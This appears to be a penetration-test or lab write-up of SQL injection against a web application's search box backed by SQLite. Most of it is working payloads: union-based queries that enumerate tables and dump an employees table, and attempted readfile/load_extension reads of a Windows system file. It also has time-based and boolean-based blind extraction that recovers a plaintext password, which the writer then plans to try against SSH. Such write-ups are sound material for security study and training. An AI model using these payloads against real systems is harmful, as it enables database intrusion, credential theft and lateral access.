SQLi


SQL injection vulnerability has been identified in the search function of the target web application.

Union-based In-band


The column count is 4. All 4 columns are reflected.

' UNION SELECT 1,sqlite_version(),sqlite_source_id(),4 FROM sqlite_master -- -

The backend database is SQLite This was identified after many trials and errors with an assumption of the backend DB being either MySQL or MSSQL

As the name suggest, SQLite is a lightweight relational database with limited functions.

Database Structure (Tables) (Union-based In-band)


' UNION SELECT 1,name,3,4 FROM pragma_database_list -- //

In SQLite, the concept of “databases” works differently than in MySQL or PostgreSQL. By default, SQLite operates with a single database (usually referred to as main), but it can also have attached databases (like secondary .db files).

````

' UNION SELECT 1,sql,3,4 FROM sqlite_master -- -

Database Structure (Tables)

' UNION SELECT 1,tbl_name,3,4 FROM sqlite_master WHERE type='table' -- -

Tables

emplyees and emps tables notably stand out.

emplyees Table (Union-based In-band)


' UNION SELECT 1,name,3,4 FROM PRAGMA_TABLE_INFO('employees') -- -

A total of 4 columns exists within the emplyees table;

  • id
  • first_name
  • last_name
  • password
emplyees Table Dump (Union-based In-band)

' UNION SELECT id,first_name,last_name,password FROM employees -- -
' UNION SELECT * FROM employees -- -

A single entry in the employees table. Jeff Hills user with a password in the Mathsisfun123. Validating the credential against the target SSH server.

emps Table (Union-based In-band)


' UNION SELECT 1,GROUP_CONCAT(name),3,4 FROM PRAGMA_TABLE_INFO('emps') -- -

A total of 10 columns exists within the emplyees table;

  • id
  • first_name
  • last_name
  • birth_date
  • address
  • postcode
  • city
  • state
  • country
  • hidden

These are the same employees shown in the index.php page.

File Read (Union-based In-band)


File read is only possible If load_extension or readfile() is Enabled.

' UNION SELECT 1,sqlite3_load_extension('C:\Windows\win.ini'),3,4 -- //

' UNION SELECT 1,load_extension('C:\Windows\win.ini'),3,4 -- //

' UNION SELECT 1,readfile('C:\Windows\win.ini'),3,4 -- //

None of them are enabled. File read is not possible.

File Write (Union-based In-band)


writefile() must be enabled.

SELCET writefile('<FILE_NAME>',<CONTENT>);

Webroot directory has not been identified. Cannot verify the write operation.

Error-based In-band


Given the SQL error is not visible,Error-based_SQLi is not possible.

Time-based Blind


Affirmational hang for a few seconds

' AND (SELECT CASE WHEN sqlite_version() LIKE '3%' THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN sqlite_version()='3.28.0' THEN RANDOMBLOB(1e8) END) -- -

SQLite version is 3.28.0.

' AND (SELECT 1 FROM pragma_database_list WHERE (LIKE('m%',name) AND RANDOMBLOB(100000000))) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM pragma_database_list WHERE name='main' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -

There is a DB; main.

Tables (Time-based Blind)


' AND (SELECT CASE WHEN (SELECT 1 FROM sqlite_master WHERE type='table' AND tbl_name LIKE 'e%' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM sqlite_master WHERE tbl_name='emps' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -

emps table

' AND (SELECT CASE WHEN (SELECT 1 FROM sqlite_master WHERE tbl_name='employees' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -

employees table.

emplyees Table (Time-based Blind)


' AND (SELECT CASE WHEN (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name LIKE 'pass%' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name='password' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -

employees.password column.

' AND (SELECT CASE WHEN (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name LIKE 'first%' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name='first_name' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
 
' AND (SELECT CASE WHEN (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name LIKE 'last%' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name='last_name' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -

first_name and last_name columns.

emplyees Table Dump (Time-based Blind)

' AND (SELECT CASE WHEN (SELECT 1 FROM employees WHERE first_name LIKE 'J%' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM employees WHERE first_name='Jeff' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -

Firstname is Jeff

' AND (SELECT CASE WHEN (SELECT 1 FROM employees WHERE last_name LIKE 'h%' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM employees WHERE last_name LIKE 'hills%' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM employees WHERE last_name='Hills' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -

case sensitive Lastname is Hills

' AND (SELECT CASE WHEN (SELECT 1 FROM employees WHERE first_name='Jeff' AND last_name='Hills' AND password LIKE 'Ma%' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM employees WHERE first_name='Jeff' AND last_name='Hills' AND password LIKE 'Mathsisfun1%' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM employees WHERE first_name='Jeff' AND last_name='Hills' AND password='Mathsisfun123' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -

Password is Mathsisfun123 Validating the credential against the target SSH server.

Boolean-based Blind


  • Page loads normally for affirmation.
  • Blank/error page for false.

' AND (SELECT sqlite_version() LIKE '3%') -- -
' AND (SELECT sqlite_version()='3.28.0') -- -

3.28.0

' AND (SELECT name LIKE 'm%' FROM pragma_database_list) -- -
' AND (SELECT name='main' FROM pragma_database_list) -- -

main DB

Tables (Boolean-based Blind)


' AND EXISTS (SELECT 1 FROM sqlite_master WHERE type='table' AND tbl_name LIKE 'e%' LIMIT 1) -- -
' AND EXISTS (SELECT 1 FROM sqlite_master WHERE tbl_name='employees' LIMIT 1) -- -
' AND EXISTS (SELECT 1 FROM sqlite_master WHERE tbl_name='emps' LIMIT 1) -- -

employees and emps tables

employees Table (Boolean-based Blind)


' AND EXISTS (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name LIKE 'pass%' LIMIT 1) -- -
' AND EXISTS (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name='password' LIMIT 1) -- -

employees.password column.

' AND EXISTS (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name LIKE 'first%' LIMIT 1) -- -
' AND EXISTS (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name='first_name' LIMIT 1) -- -

employees.first_name column.

' AND EXISTS (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name LIKE 'last%' LIMIT 1) -- -
' AND EXISTS (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name='last_name' LIMIT 1) -- -

employees.last_name column.

emplyees Table Dump (Boolean-based Blind)

' AND EXISTS (SELECT 1 FROM employees WHERE first_name LIKE 'J%' LIMIT 1) -- -
' AND EXISTS (SELECT 1 FROM employees WHERE first_name='Jeff' LIMIT 1) -- -

Firstname is Jeff

' AND EXISTS (SELECT 1 FROM employees WHERE last_name LIKE 'H%' LIMIT 1) -- -
' AND EXISTS (SELECT 1 FROM employees WHERE last_name='Hills' LIMIT 1) -- -

Lastname is Hills

' AND EXISTS (SELECT 1 FROM employees WHERE password LIKE 'M%' LIMIT 1) -- -
' AND EXISTS (SELECT 1 FROM employees WHERE password LIKE 'Mathsisf%' LIMIT 1) -- -
' AND EXISTS (SELECT 1 FROM employees WHERE password='Mathsisfun123' LIMIT 1) -- -

Password is Mathsisfun123 Validating the credential against the target SSH server.